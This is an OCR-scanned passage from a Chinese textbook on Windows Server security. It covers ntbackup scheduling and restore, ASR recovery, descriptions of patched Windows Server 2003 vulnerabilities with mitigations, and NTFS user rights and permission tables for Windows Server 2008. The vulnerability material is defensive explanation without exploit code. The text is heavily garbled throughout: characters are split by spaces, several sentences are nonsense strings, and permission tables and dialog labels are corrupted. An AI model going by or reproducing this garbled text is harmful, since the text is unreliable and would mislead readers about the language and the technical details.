图 5-22 备份 类 型 .目标 和 名 称 


(7) 在 “完成 备份 或 还 原 向 导 ” 页 面 中 , 单 击 “ 高 级 ”。 

(8) 在 “备份 类 型 "页 面 的 下 拉 菜 单 中 单 击 “ 正 常 ”, 然 后 单 击 “ 下 一 步 "”。 如 图 5-23 
所 示 。 

(9) 在 “如 何 备份 ”页 面 中 勾 选 “备份 后 验证 数据 ” 复 选 框 ,然后 单 击 “ 下 一 步 ”。 

(10) 在 “备份 选项 ”页 面 中 ,确保 选中 了 “将 这 个 备份 附加 到 现 有 备份 ”选项 ,然后 单 击 
“下 一 步 ”, 如 图 5-24 所 示 。 
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备份 选项 
指定 是 否 要 禾 盖 数据 还 是 限制 对 数据 的 访问 。 


图 5-24 备份 选项 
(11) 在 “备份 时 间 ” 页 面 中 的 “什么 时 候 执行 备份 * 下 ,选中 “以 后 ”。 在 “计划 项 ”的 “ 作 
业 名 ”中 输入 描述 性 名 称 , 然 后 单 击 “ 设 定 备 份 计划 ”按钮 ,如 图 5-25 所 示 。 


备份 时 间 
可 现在 运行 备份 或 计划 以 后 再 运行 。 


到 
Le 
: [Normal backup of C: and System State 


图 5-25 备份 时 间 
a ly 


(12) 在 “计划 作业 ”对话 框 的 "计划 任务 ”中 , 单 击 下 拉 菜 单 中 的 “每 周 ”。 

(13) 在 “开始 时 间 ” 中 ,使 用 向 上 和 向 下 箭头 键 选择 开始 备份 的 适当 时 间 。 单 击 “ 高 级 ” 
以 指定 计划 任务 的 开始 日 期 和 结束 日 期 ,或 指定 计划 任务 是 否 按照 特定 时 间 间 隔 重 复 运 行 。 
在 “每 周 计划 任务 ”中 ,根据 需要 选择 一 天 或 几 天 以 创建 备份 ,然后 单 击 “ 确 定 ”, 如 图 5-26 
所 示 。 

(14) 在 “设置 账户 信息 ”对 话 框 的 “运行 方式 ”中 ,输入 域 . 工 作 组 和 已 授权 执行 备份 和 
还 原 操作 的 账户 的 用 户 名 。 使 用 domain\username 或 workgroup\username 格式 。 在 “ 密 
码 ” 中 输入 用 户 账户 的 密码 。 在 “确认 密码 ”中 再 次 输入 密码 ,然后 单 击 “ 确 定 ”, 如 图 5-27 
所 示 。 


日 程 安排 | 设置 | 
本 从 2010-10-5 起 ,每 周 的 星期 六 ,1:00 


计划 任务 @) 开始 时 间 加 ) 


每 周 | | 1:o 于 [| 
-每 周 计划 任务 


每 @) | 习 周 ,在 : 


设置 账户 信息 [x 
运行 方式 由 : mas 
密码 加 ); [| 
确认 窗 码 CC); Fe 

Cw | 取 | 
图 5-26 计划 作业 图 5-27 设置 账户 信息 


(15) 在 “完成 备份 或 还 原 向 导 ” 页 面 中 ,确认 设置 ,然后 单 击 “ 完 成 ”。 
进行 每 周 差异 备份 操作 的 流程 除了 在 “备份 类 型 "页 面 的 “选择 要 执行 的 备份 操作 类 型 ” 
中 ,要 选择 的 项 是 “差异 ”外 ,其 他 与 每 周 备份 的 流程 类 似 ,在 此 就 不 再 重复 介绍 。 


5.7.3 从 备份 还 原文 件 


如 果 人 硬盘 中 的 原始 数据 不 小 心 被 擦 除 或 覆盖 ,或 者 因为 硬盘 故障 而 无 法 访问 ,可 以 从 备 
份 副本 中 进行 还 原 。 要 执行 此 过 程 , 用 户 必须 是 本 地 计算 机 上 的 管理 员 组 或 备份 操作 员 组 
成 员 , 或 者 已 授予 用 户 适当 的 权限 。 如 果 计 算 机 已 加 入 域 , 则 域 管理 员 组 成 员 也 可 以 执行 此 
过 程 。 还 原文 件 和 文件 夹 要 求 用 户 拥 有 最 近 的 普通 备份 和 差异 备份 。 

从 备份 恢复 文件 的 具体 操作 过 程 如 下 : 

(1) 单 击 “ 开 始 ”, 然 后 单 击 “ 运 行 ”, 输 入 ntbackup, 然 后 单 击 “ 确 定 ”。 

(2) 出 现 “ 备 份 或 还 原 向 导 ”。 单 击 “ 下 一 步 ”。 

(3) 在 “备份 或 还 原 ” 页 面 中 , 单 击 “ 还 原文 件 和 设置 ”, 然 后 单 击 “ 下 一 步 ”。 

(4) 在 “还 原 项 目 ” 页 面 上 , 单 击 项 目 以 展开 其 内 容 。 勾 选 包 含 要 还 原 的 数据 的 所 有 设 
备 或 文件 夹 , 然 后 单 击 “ 下 一 步 ”, 如 图 5-28 所 示 。 

(5) 在 “完成 备份 或 还 原 向 导 ” 页 面 中 ,如 果 要 更 改 任何 高 级 还 原 选 项 ,例如 还 原 安全 设 
置 和 交接 点 数据 , 则 单 击 “ 高 级 ”。 完 成 设置 高 级 还 原 选 项 后 , 单 击 “ 确 定 ”。 验 证 是 否 所 有 设 

14 


[x| 
还 原 项 目 
您 可 还 原 任 何 给 全 形式 的 驱动 器 、 文 件 夹 或 文件 。 夯 


《上 =- 步 @[ 下 - 步 四 说 取 | 
图 5-28 还 原 项 目 页 面 


置 都 正确 ,然后 单 击 “ 完 成 。 
5.7.4 使 用 ASR 集 还 原 计算 机 


仅 在 使 用 其 他 方法 (例如 启动 选项 “安全 模式 ”和 “最 后 一 次 正确 的 配置 ”) 无 法 进行 系统 
恢复 的 情况 下 , 才 使 用 ASR 做 最 后 的 尝试 。 

在 恢复 阶段 ,在 安装 光盘 引导 的 文本 模式 下 出 现 提示 时 , 按 F2 键 使 用 ASR 的 还 原 功 
能 。ASR 将 从 软盘 中 读 取 磁盘 配置 ,并 至 少 还 原 用 于 启动 计算 机 的 磁盘 上 的 所 有 磁盘 签 
名 、 卷 和 分 区 (ASR 将 尝试 还 原 所 有 磁盘 配置 ,但 在 某 些 情况 下 ,ASR 不 可 能 还 原 全 部 磁盘 
配置 ) 。 在 这 之 后 ASR 将 安装 Windows 的 基本 组 件 , 并 使 用 由 “自动 系统 故障 恢复 准备 向 
导 ” 所 创建 的 ASR 备份 集 自动 开始 还 原 。 

使 用 ASR 集 还 原 计算 机 的 主要 操作 流程 如 下 : 

(1) 将 原始 Windows 2003 安装 CD 插入 驱动 器 。 

(2) 重新 启动 计算 机 。 当 系统 提示 时 按键 以 从 CD 启动 计算 机 。 

(3) 如 果 在 “安装 ”开始 时 的 纯 文本 模式 阶段 得 到 提示 , 则 按 F2 键 。 系 统 将 提示 插入 先 
前 创建 的 ASR 软盘 。 

(4) 遵循 屏幕 上 的 指示 还 原 计 算 机 。 


5.8 Windows Server 2003 系统 的 缺陷 及 防范 措施 


下 面 介 绍 Windows Server 2003 系统 的 危害 性 比较 大 的 安全 漏洞 。 

1. WINS 服务 本 地 权限 提升 漏洞 

WINS 是 将 NetBIOS 名 称 转换 为 TCP/IP 网 络 上 的 地 址 的 一 项 服务 。 虽 然 NetBIOS 
和 NetBIOS 名 称 可 与 TCP/IP 以 外 的 网 络 协议 一 起 使 用 ,但 Windows Internet 名 称 服务 
(WINS) 是 专 为 支持 TCP/IP 上 的 NetBIOS (NetBT) 而 设计 的 。 用 户 在 其 中 访问 具有 
NetBIOS 名 称 的 资源 的 任何 环境 都 需要 WINS。 如 果 不 在 此 类 网 络 中 使 用 WINS, 除 非 每 
个 系统 都 含有 自己 的 Lmhosts 文件 ,否则 无 法 使 用 其 NetBIOS 名 称 连接 到 远程 网 络 资源 ， 
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而 且 可 能 无 法 建立 文件 和 打印 共享 连接 。 

Windows 名 称 服务 (WINS) 中 存在 一 个 特权 提升 漏洞 , WINS 没有 充分 验证 特制 
WINS 网 络 数据 包 内 的 数据 结构 。 该 漏洞 可 能 允许 本 地 攻击 者 使 用 提升 的 特权 运行 代码 。 
成 功利 用 此 漏洞 的 攻击 者 可 以 完全 控制 受 影响 的 系统 。 随 后 ,攻击 者 可 以 安装 程序 ,查看 、 
更 改 或 删除 日 期 ,或 者 创建 新 账户 。 

Microsoft 已 经 为 此 发 布 了 一 个 安全 公告 (MS08-034) 以 及 相应 补丁 。 

2. Windows Server 2003 DNS 服务 器 漏洞 

Microsoft Windows DNS 服务 器 的 RPC 接口 在 处 理 异 常 请 求 时 存在 栈 溢 出 漏洞 ,远程 
攻击 者 可 能 利用 此 漏洞 获取 服务 器 的 管理 权限 。 如 果 远 程 攻 击 者 能 够 向 有 漏洞 的 系统 发 送 
特制 的 RPC 报 文 的 话 , 就 可 以 触发 这 个 溢出 ,就 能 够 获得 该 系统 的 管理 员 权 限 ,远程 执行 任 
意 指令 。 这 个 漏洞 是 一 个 堆栈 溢出 漏洞 。 

根据 微软 发 布 的 消息 , Windows XP 和 Windows Vista 不 会 受到 这 一 DNS 漏洞 的 影 
响 ,Windows 2000 Server SP4,Windows Server 2003 SP1,Windows Server 2003 SP2 则 存 
在 这 一 漏洞 。 

Microsoft 已 经 为 此 发 布 了 一 个 安全 公告 (MS07-029) 以 及 相应 补丁 。 有 关 此 问题 的 详 
细 信 息 (包括 可 用 安全 更 新 的 下 载 链 接 ) ,请 查看 MS07-029 。 

3. 路 由 和 远程 访问 服务 溢出 漏洞 

远程 攻击 者 可 以 通过 特制 的 RPC 请 求 触发 Microsoft Windows 路 由 和 远程 访问 服务 
(RRAS) 中 的 缓冲 区 溢出 ,导致 执行 任意 指令 。 

该 漏洞 的 临时 解决 方法 如 下 。 

(1) 禁用 远程 访问 连接 管理 器 服务 。 

(2) 在 防火 墙 阻 断 : 

。 UDP 端口 135,137,138,445, 以 及 TCP 端口 135 ,139,445,593。 

。 所 有 大 于 1024 端口 上 的 未 经 请 求 的 入 站 通信 。 

。 任何 其 他 明确 配置 的 RPC 端口 。 

(3) 使 用 个 人 防火 墙 , 如 Windows XP 和 Windows Server 2003 捆绑 的 Internet 连接 防 
火 墙 。 

(4) 在 支持 的 系统 上 启用 高 级 TCP/IP 过 滤 功 能 。 

(5) 在 受 影响 的 系统 上 使 用 IPSec 阻 断 受 影响 的 端口 。 

Microsoft 已 经 为 此 发 布 了 一 个 安全 公告 (MS06-025) 以 及 相应 补丁 。 

4. Windows Shell 漏洞 

Windows Shell API 是 支持 系统 操作 环境 扩展 的 编程 接口 。 在 Windows Shell 启动 应 
用 程序 的 方式 中 存在 一 个 远程 执行 代码 漏洞 , Windows API 支持 将 类 标识 符 (CLSID) 与 文 
件 类 型 关联 起 来 的 功能 。 攻 击 者 可 能 使 用 CLSID 而 不 是 文件 类 型 的 有 效 扩展 名 ,这 可 能 会 
诱 使 用 户 运行 恶意 程序 。 

如 果 用 户 使 用 管理 权限 登录 ,成 功利 用 此 漏洞 的 攻击 者 可 以 完全 控制 受 影响 的 系统 , 包 
括 安 装 程序 ,查看 .更 改 或 删除 数据 ,或 者 创建 拥有 完全 权限 的 新 账户 。 不 过 ,要 利用 此 漏 
洞 ,需要 进行 用 户 交 互 。 那 些 账户 被 配置 为 拥有 较 少 系统 权限 的 用 户 比 具有 管理 权限 的 用 
户 受 到 的 威胁 要 小 。 
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要 利用 此 漏洞 ,攻击 者 必须 拥有 一 个 恶意 Web 站 点 ,然后 诱 使 用 户 查 看 该 Web 站 点 。 
攻击 者 还 可 能 创建 一 个 包含 特制 链接 的 HTML 电子 邮件 ,然后 诱 使 用 户 查看 该 HTML 电 
子 邮 件 并 单 击 恶 意 链 接 。 所 以 用 户 访问 了 恶意 Web 站 点 ,攻击 者 就 有 可 能 会 利用 此 漏洞 。 

Microsoft 已 经 为 此 发 布 了 一 个 安全 公告 (MS04-024) 以 及 相应 补丁 。 更 新 程序 删除 了 
在 Windows Shell 中 将 CLSID 用 作文 件 类 型 的 功能 。 

5. SMB 池 溢 出 漏洞 

Microsoft 服务 器 消息 块 (SMB) 协 议 是 Microsoft Windows 中 使 用 的 一 项 Microsoft 网 
络 文件 共享 协议 。 

Microsoft 服务 器 消息 块 (SMB) 协 议 软 件 处 理 特制 SMB 数据 包 的 方式 中 存在 一 个 未 
经 身份 验证 的 远程 执行 代码 漏洞 。 利 用 该 漏洞 的 尝试 不 要 求 进行 身份 验证 ,从 而 使 攻击 者 
可 能 通过 创建 特制 的 SMB 数据 包 并 将 其 发 送 到 受 影响 的 系统 来 试图 利用 此 漏洞 。 成 功利 
用 此 漏洞 的 攻击 者 可 以 完全 控制 系统 。 

带 有 SMB 服务 器 服务 的 所 有 系统 均 会 受 此 漏洞 影响 。 域 控制 器 受 此 漏洞 的 威胁 更 
大 ,由 于 这 些 系统 默认 情况 下 向 所 有 域 用 户 开放 网 络 共享 。 

Microsoft 已 经 为 此 发 布 了 一 个 安全 公告 (MS10-054) 以 及 相应 更 新 程序 。 通 过 纠正 在 
格式 错误 的 SMB 请 求 中 验证 字段 的 方法 ,此 更 新 解决 了 漏洞 。 

6. SChannel 中 TLS/SSL 重新 协商 漏洞 

Microsoft Windows SChannel 身份 验证 组 件 中 实施 的 TLS/SSL 协议 存在 一 个 欺骗 漏 
洞 。 成 功利 用 此 漏洞 的 攻击 者 能 够 在 受 保护 的 TLS/SSL 连接 上 引入 信息 ,从 而 有 效 发 送 
流量 来 欺骗 经 验证 的 客户 端 。 

造成 漏洞 的 原因 是 因为 : RFC 2246 中 所 述 的 TLS 协议 介绍 了 重新 协商 功能 ,该 功能 
允许 任 一 对 等 端 任何 时 间 点 重新 协商 受 保护 的 连接 的 参数 。 能 够 利用 其 他 攻击 (如 DNS 其 
骗 或 本 地 子 网 攻击 ) 成 为 连接 中 间 人 的 攻击 者 可 能 滥用 此 类 重新 协商 功能 ,将 应 用 程序 特定 
的 命令 预先 设计 到 正在 建立 的 有 效 的 TLS 会 话 中 。 

所 谓 中 间 人 攻击 就 是 : 当 攻 击 者 通过 其 计算 机 在 通信 中 的 两 个 用 户 之 间 重 新 路 由 并 通 
信 而 这 两 个 通信 用 户 毫 不 知情 时 ,发 生 中 间 人 攻击 。 通 信 中 的 每 个 用 户 在 不 知 不 觉 中 将 通 
信 发 送 给 攻击 者 ,或 接收 来 自 攻击 者 的 通信 , 却 认为 只 是 在 与 预期 的 用 户 进行 通信 。 在 此 漏 
洞 中 ,中 间 人 不 能 读 取 、 解 密 或 更 改 客户 端 与 服务 器 之 间 的 加 密 通 信 。 中 间 人 只 能 够 将 请 求 
引入 在 客户 端的 上 下 文中 执行 的 TLS 会 话 中 。 

攻击 者 利用 此 漏洞 在 客户 端 和 服务 器 之 间 设 置 中 间 人 攻击 ,然后 在 尝试 SSL 重新 协商 
时 立即 中 断 它们 的 连接 。 此 时 ,攻击 者 可 以 将 有 限 的 数据 集 引 入 受 保护 的 路 径 ,服务 器 会 将 
该 数据 解释 为 来 自 受 信任 客户 端的 数据 。 

Microsoft 已 经 为 此 发 布 了 一 个 安全 公告 (MS10-049) 以 及 相应 更 新 程序 。 此 更 新 通过 
实施 RFC 5746 来 解决 此 漏洞 .该 RFC 引入 了 TLS 扩展 , 它 以 加 密 方式 将 TLS 重新 协商 
与 在 其 上 执行 协商 的 原始 TLS 连接 相关 联 。 这 样 就 可 以 先 执 行 身份 验证 ,然后 进行 验证 ， 
并 防止 遭受 攻击 。 

相 比 Windows 2000/XP 系统 来 说 ,微软 新 一 代 的 Windows Server 2003 操作 系统 在 安 
全 性 能 方面 得 到 了 加 强 。 但 任何 事物 都 没有 十 全 十 美的 ,微软 Windows Server 2003 也 是 
如 此 ,照样 存在 着 系统 漏洞 ,存在 着 不 少 安全 隐患。 微软 公司 定期 会 发 布 安全 公告 和 补丁 程 
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序 ,修复 包括 Windows 内 核 .IE、Office、. Net 等 一 系列 严重 漏洞 。 用 户 应 关注 微软 的 安全 
公告 ,及 时 安装 补丁 程序 。 


5. 9 Windows Server 2008 系统 的 安全 与 保护 


Windows Server 2008 提供 了 网 络 环境 下 的 一 个 成 功 的 安全 保密 系统 。 从 最 初 开 发 
Windows NT 到 目前 广泛 使 用 的 Windows Server 2008 ,其 安全 系统 已 日 趋 成 熟 、. 完 备 , 但 同 
时 也 使 得 系统 的 管理 人 员 在 构造 网 络 环境 、 进 行 权限 分 配 时 ,感到 复杂 、 难 以 掌握 ,很 难 设 置 
完善 ,这 也 使 得 攻击 者 找到 漏洞 成 为 可 能 

一 般 来 说 , Windows Server 2008 朋 济 间接 制 汪 隘 是 先 闫 方便 、 先进 的 。Windows 
Server 2008 的 访问 控制 策略 是 基于 自主 访问 控制 的 ,根据 对 用 户 进行 授权 ,来 决定 用 户 可 
以 访问 哪些 资源 以 及 对 这 些 资源 的 访问 能 力 , 可 以 保证 没有 特定 权限 的 用 户 不 能 访问 任何 
资源 ,而 同时 这 些 安全 性 的 运行 又 是 透明 的 。 既 可 防止 未 授权 用 户 的 问 入 ,也 可 防止 授权 用 
户 做 他 不 该 做 的 事情 ,从 而 保证 了 整个 网 络 系统 高 效 、 安 全 的 正常 运行 。 

Windows Server 2008 的 网 络 安全 性 依赖 于 给 用 户 或 组 授予 的 3 种 能 力 : 权力 (在 系统 
上 完成 特定 动作 的 授权 ,一 般 由 系统 指定 给 内 置 组 ,但 也 可 以 由 管理 员 将 其 扩大 到 组 和 用 户 
上 ) 共享 (用 户 可 以 通过 网 络 使 用 的 文件 夹 )、 权 限 ( 可 以 授予 用 户 或 组 的 文件 系统 能 力 ) 。 
为 了 简化 授权 ,可 以 利用 用 户 组 的 概念 ,同一 用 户 组 的 用 户 的 权限 设置 相同 。 另 外 为 大 型 或 
复杂 系统 提供 了 更 为 灵活 和 简便 的 管理 方法 ,还 涉及 域 间 委 托 的 问题 。 

Windows Server 2008 分 为 32 位 操作 系统 和 64 位 操作 系统 两 种 , 它 可 以 更 好 地 发 挥 
CPU 的 处 理 能 力 , 并 采用 了 操作 系统 的 最 新 技术 ,几乎 提供 了 现 有 操作 系统 的 所 有 功能 。 
Windows Server 2008 分 为 Windows Server 2008，Windows Server 2008 Standard， 
Windows Server 2008 Enterprise, Windows Server 2008 Datacenter, Windows Server 2008 
for Itanium-Based Systems, Windows HPC Server 2008, Windows Server 2008 Standard 
without Hyper-V, Windows Server 2008 Enterprise without Hyper-V, Windows Server 
2008 Datacenter without Hyper-V 若干 个 版 本 。 它 们 为 用 户 提 供 了 快速 的 多 任务 环境 和 多 
种 数据 服务 环境 。 目 前 ,Microsoft 公司 提供 的 最 新 的 网 络 操作 系统 是 Windows 2008 R2。 


5.9.1 Windows Server 2008 的 安全 性 


Windows Server 2008 设计 了 很 完善 的 安全 性 验证 机 制 。 为 了 保证 文件 系统 的 安全 
性 ,应 将 重要 的 数据 文件 存放 在 Windows Server 2008 的 NTFS 分 区 上 。NTFS 提供 了 对 
数据 文件 的 访问 控制 和 安全 性 。 

NTFS 的 安全 性 是 通过 以 下 手段 实现 的 : 

(1) 本 地 设置 文件 级 和 目录 级 访问 许可 。 

(2) 审核 与 安全 性 相关 的 事件 。 

(3) 创建 文件 和 目录 的 用 户 保留 文件 及 目录 的 所 有 权 。 

(4) 事务 记录 允许 NTFS 校正 文件 的 错误 。 

NTFS 支持 文件 和 目录 许可 、 文 件 和 目录 访问 跟踪 (通过 审核 ) 、 事 务 记录 并 支持 文件 和 
目录 所 有 权 。 
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1. 用 户 权力 

用 户 权 力 控 制 谁 能 在 Windows Server 2008 计算 机 上 执行 各 类 行为 。 受 权力 管制 的 行 
为 包括 要 在 本 机 本 地 登录 的 能 力 、 关 闭 该 机 ,设置 时 间 、 备 份 和 恢复 服务 器 文件 以 及 执行 其 
他 任务 等 。 在 Windows Server 2008 域 中 ,权力 在 域 的 级 别 上 被 授予 或 限制 。 若 一 个 组 在 
域 中 有 一 个 权限 ,那么 它 的 所 有 成 员 在 域 的 主 域 和 备份 域 控制 器 上 都 有 此 权限 。 权 力 适用 
于 对 整个 系统 范围 内 的 对 象 和 任务 的 操作 ,通常 是 用 来 授权 用 户 执 行 某 些 系 统 任务 。 当 用 
户 登 录 到 一 个 具有 某 种 权力 的 账号 时 ,该 用 户 就 可 以 执行 与 该 权力 相关 的 任务 。 

表 5-2 中 这 些 权力 一 般 已 经 由 系统 授 给 内 置 组 ,需要 时 也 可 以 由 管理 员 将 其 扩大 到 组 
和 用 户 上 。 


表 5-2 用 户 的 特定 权力 


权 六 允许 的 用 户 动 作 
Access this computer from Network 可 使 用 户 通 过 网 络 访问 该 计算 机 
Add workstation to a domain 允许 用 户 将 工作 站 添加 到 域 中 
Backup files and directories 授权 用 户 对 计算 机 的 文件 和 目录 进行 备份 
Change the system time 用 户 可 以 设置 计算 机 的 系统 时 钟 
Load and unload device drive 允许 用 户 在 网 络 上 安装 和 删除 设备 的 驱动 程序 
Restore files and directories 允许 用 户 恢 复 以 前 备份 的 文件 和 目录 
Shutdown the system 允许 用 户 关 闭 系统 
2. 共享 权 限 


共享 只 适用 于 文件 夹 (目录 ), 如 果 文 件 夹 不 是 共享 的 ,那么 在 网 络 上 就 不 会 有 用 户 看 到 
它 , 也 就 更 不 能 访问 。 网 络 上 的 绝 大 多 数 服 务 器 主要 用 于 存放 可 被 网 络 用 户 访 问 的 文件 和 
目录 ,要 使 网 络 用 户 可 以 访问 在 Windows Server 2008 服务 器 上 的 文件 和 目录 ,必须 首先 对 
它 建 立 共 享 。 共 享 权限 建立 了 通过 网 络 对 共享 目录 访问 的 最 高 级 别 。 

表 5-3 列 出 了 从 最 大 限制 到 最 小 限制 的 共享 权限 及 相应 级 别 允 许 的 用 户 动作 。 


表 5-3 用 户 的 共享 权限 


共享 权限 级 别 允许 的 用 户 动作 


No Access( 不 能 访问 ) 禁止 对 目录 和 其 中 的 文件 及 子 目 录 进 行 访问 


允许 查看 文件 名 和 子 目 录 名 ,改变 共享 目录 的 子 目 录 , 还 允许 


和 查看 文件 的 数据 和 运行 应 用 程序 


具有 “* 读 ”权限 中 人 允许 的 操作 ,另外 允许 往 目录 中 添加 文件 和 


Ohare oe WA 子 目录 ,更 改 文件 数据 ,删除 文件 和 子 目录 


有 具有 "更改 ”权限 中 允许 的 操作 ,另外 还 允许 更 改 权 限 ( 只 适用 


Full Control( 完 全 控制 RWXDPO) 于 NTFS 卷 ) 和 获取 所 有 权 ( 只 适用 于 NTFS 卷 ) 


3. 许可 权限 
文件 和 目录 的 许可 将 确定 对 文件 和 目录 进行 本 地 访问 的 用 户 类 型 。 
许可 权 的 具体 含义 为 : 许可 权限 适用 于 对 特定 对 象 如 目录 和 文件 (只 适用 于 NTFS 卷 ) 
的 操作 ,指定 允许 哪些 用 户 可 以 使 用 这 些 对 象 ,以 及 如 何 使 用 (如 把 某 个 目录 的 访问 权限 授 
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予 指定 的 用 户 )。 许 可 权限 分 为 目录 权限 和 文件 权限 ,每 一 个 权限 级 别 都 确定 了 一 个 执行 特 
定 的 任务 组 合 的 能 力 , 这 些 任务 是 : Read (R)、Execute (X)、Write (W)、Delete (D)、 
Set Permission(P) 和 Take Ownership(CO) 。 

文件 访问 许可 : 文件 访问 许可 是 用 来 控制 该 计算 机 上 的 用 户 和 通过 网 络 访问 的 用 户 是 
否 可 以 使 用 指定 文件 。 

对 于 文件 以 上 任务 代表 的 具体 含义 如 下 。 

。 下 : 显示 文件 数据 .属性 .所 有 者 和 许可 。 

。X: 运行 文件 。 

。 W: 写 文件 。 

。D: 删除 文件 。 

。 了: 改变 文件 许可 。 

。 0O: 获得 文件 许可 。 

如 表 5-4 所 示 ,5 个 预定 义 的 文件 访问 许可 为 : 拒绝 访问 、 读 取 (RX) .更改 (RXWD) 、 完 
全 控制 (RXWDPO) 和 特殊 访问 (RXWDPO 的 任意 组 合 ) 。 


表 5-4 文件 许可 权限 


权限 级 别 允许 的 用 户 动作 


用 户 不 能 访问 该 文件 


a 用 户 可 以 读 取 该 文件 ,如 果 是 应 用 程序 可 以 运行 文件 
Ghinze 有 Read 的 权限 ,还 可 以 修改 和 删除 文件 


Full Control 包含 Change 的 权限 ,还 可 以 更 改 权 限 和 获取 文件 的 所 有 权 


No Access 


目录 访问 许可 : 目录 访问 许可 是 用 来 控制 谁 可 以 访问 目录 ,及 对 目录 内 容 的 使 用 。 对 
于 目录 各 任务 代表 的 含义 如 下 。 

。R: 显示 目录 数据 、 属 性、 所 有 者 和 许可 。 

。X: 在 目录 中 运行 (执行 ) 文 件 。 

。 W: 在 目录 创建 新 文件 ,改变 目录 属性 。 

。D: 在 目录 中 删除 文件 。 

。 了 P: 改变 目录 许可 。 

。 O: 获得 目录 所 有 权 。 

如 表 5-5 所 示 ,目录 许可 包括 : 拒绝 访问 、 列 表 (RX) . 读 取 (RX) ,添加 (XW) 、 添 加 & 读 
取 (RXW) 更改 (RXWD) 、 完 全 控制 (RXWDPO) 和 特殊 访问 (RXWDPO 的 任意 组 合 ) 。 


表 5-5 目录 许可 权限 


权限 级 别 ”| RXWDPO 允许 的 用 户 动作 

NEA: | 用 户 不 能 访问 该 目录 

List RX ”| 可 以 查看 目录 中 的 子 目录 和 文件 名 ,也 可 以 进入 其 子 目录 

Re RX ”| 具有 List 权限 ,用 户 可 以 读 取 目 录 中 的 文件 和 运行 目录 中 的 应 用 程序 
Add XW | 用户 可 以 添加 文件 和 子 目 录 
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权限 级 别 RXWDPO 允许 的 用 户 动作 
Add and Read | Rxw 具有 Read 和 Add 的 权限 
Change | RXWD | 有 Add 和 Read 的 权限 ,另外 还 可 以 更 改 文件 的 内 容 , 删 除 文件 和 子 目 录 
Full Control RXWDPO | 有 Change 的 权限 ,另外 用 户 可 以 更 改 权限 和 获取 目录 的 所 有 权 


需要 解释 的 是 : 如 果 对 目录 有 Execute(X) 权 限 , 表 示 可 以 穿越 目录 ,进入 其 子 目录 。 
FAT 文件 卷 只 有 共享 权限 ,无 许可 权限 。 

可 用 “文件 管理 器 ”将 文件 或 目录 的 访问 许可 赋予 用 户 和 组 。 以 用 户 组 的 形式 组 织 用 户 
只 需 通过 一 次 操作 就 能 更 改 整 个 组 的 权力 和 权限 ,从 而 可 以 更 快速 方便 地 为 多 个 用 户 授 权 
对 网 络 资源 的 访问 ,简化 网 络 的 管理 维护 工作 。Windows Server 2008 支持 全 局 组 和 局 部 
组 两 种 类 型 的 组 。 全 局 组 包含 来 自 该 全 局 组 创建 时 所 在 域 的 用 户 账号 ,运用 域 之 间 的 委托 
关系 可 以 给 全 局 组 授予 在 其 他 委托 域 中 的 资源 的 权力 和 权限 ;在 局 部 组 可 以 包含 该 组 所 在 
域 和 其 他 受托 域 中 的 用 户 账 号 ,也 可 以 包含 该 组 所 在 域 和 其 他 受托 域 中 的 全 局 组 ,只 能 给 局 
部 组 授予 该 组 所 在 域 中 的 资源 的 权力 和 权限 。 

另外 ,在 由 两 个 或 多 个 域 组 成 的 网 络 中 ,每 个 域 都 可 作为 带 有 其 自身 账号 数据 库 的 一 个 
独立 网 络 来 工作 。 默 认 时 域 之 间 是 不 能 相互 通信 的 ,如 果 某 个 域 的 一 些 用 户 需要 访问 另 一 
个 域 中 的 资源 ,就 需要 建立 域 之 间 的 委托 关系 。 委 托 关 系 打 开 了 域 之 间 的 通信 渠道 。 委 托 
关系 可 以 是 双向 的 , 即 域 A 委托 域 B, 域 B 委托 域 A, 这 样 域 B 中 的 用 户 就 可 以 访问 域 A 中 
的 资源 , 域 A 中 的 用 户 也 可 以 访问 域 B 的 资源 。 

4. 审核 

在 特定 动作 执行 或 文件 被 访问 时 ,可 以 指定 将 一 个 审核 记录 写 入 到 一 个 安全 事件 的 日 
志 中 。 审 计 记录 表明 行为 的 执行 .执行 人 以 及 执行 的 日 期 和 时 间 。 可 以 审计 操作 是 否 成 功 ， 
所 以 审计 跟踪 能 显示 网 络 中 的 实际 执行 者 以 及 未 经 许可 的 尝试 者 。 

5. 事务 记录 

修改 文件 或 目录 时 ,日 志文 件 服务 ”能够 记录 跟踪 重 做 和 取消 修改 的 消息 。 重 做 的 消 
息 使 NTFS 在 系统 故障 中 能 够 再 次 地 进行 修改 ;取消 的 消息 使 NTFS 在 不 能 正确 完成 修改 
时 删除 修改 。NTFS 总 是 试图 重 做 事务 ,如 果 不 能 重 做 则 只 是 取消 事务 。 

6. 所 有 权 

文件 和 目录 的 所 有 者 可 以 完全 控制 该 文件 和 目录 ,包括 有 改变 许可 的 能 力 。 除 非 具 有 
许可 改变 能 力 的 用 户 授权 ,和 否则 只 有 系统 管理 员 才 有 获得 文件 和 目录 所 有 权 的 能 力 。 


5.9.2 Windows Server 2008 的 安全 配置 


1. 用 活动 目录 管理 Windows Server 2008 的 账户 
Windows Server 2008 仍 沿用 Active Directory 对 整个 网 络 的 资源 进行 管理 ,包括 计算 
机 站 点 用户、 组 .文件 目录 和 打印 机 等 资源 的 管理 。Active Directory 是 用 于 Windows 的 
目录 服务 , 它 存储 着 网 络 上 各 种 对 象 的 有 关 信 息 , 并 使 该 信息 易于 管理 员 和 用 户 查 找 及 使 
用 。Active Directory 目录 服务 使 用 结构 化 的 数据 存储 作为 目录 信息 的 逻辑 层次 结构 的 
基础 。 
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在 Windows Server 2008 的 Active Directory 中 ,由 共享 公用 目录 数据 库 的 Windows 
Server 2008 网 络 管理 定义 的 计算 机 集合 叫做 域 。 在 Windows Server 2008 中 的 术语 “ 域 ”的 
含义 不 同 于 早期 操作 系统 版 本 中 域 的 含义 。 在 Windows 中 , 域 和 信任 是 管理 的 内 容 , 并 且 
它们 构成 了 网 络 的 大 部 分 工作 。 然 而 ,在 Windows Server 2008 中 , 域 只 是 较 大 的 框架 中 的 
一 部 分 ,Active Directory 代替 了 早期 版 本 的 Windows 域 结 构 。 术 语 “ 域 ”仍然 在 使 用 ,但 是 
它 只 是 指 网 络 的 名 称 空间 的 一 部 分 。 

(1) 添加 用 户 账号 : 

在 Windows Server 2008 中 ,一 个 用 户 账 号 包含 了 用 户 的 名 称 、 密 码 . 所 属 组 .个 人 信 
息 通信 方式 等 信息 。 在 添加 一 个 用 户 账 号 后 , 它 被 自动 分 配 一 个 安全 标识 SID, 这 个 标识 
是 唯一 的 ,即使 账号 被 删除 , 它 的 SID 仍然 保留 。 如 果 在 域 中 再 添加 一 个 相同 名 称 的 账号 ， 
它 将 被 分 配 一 个 新 的 SID ,在 域 中 利用 账号 的 SID 来 决定 用 户 的 权限 。 

添加 用 户 账 号 的 步骤 如 下 。 

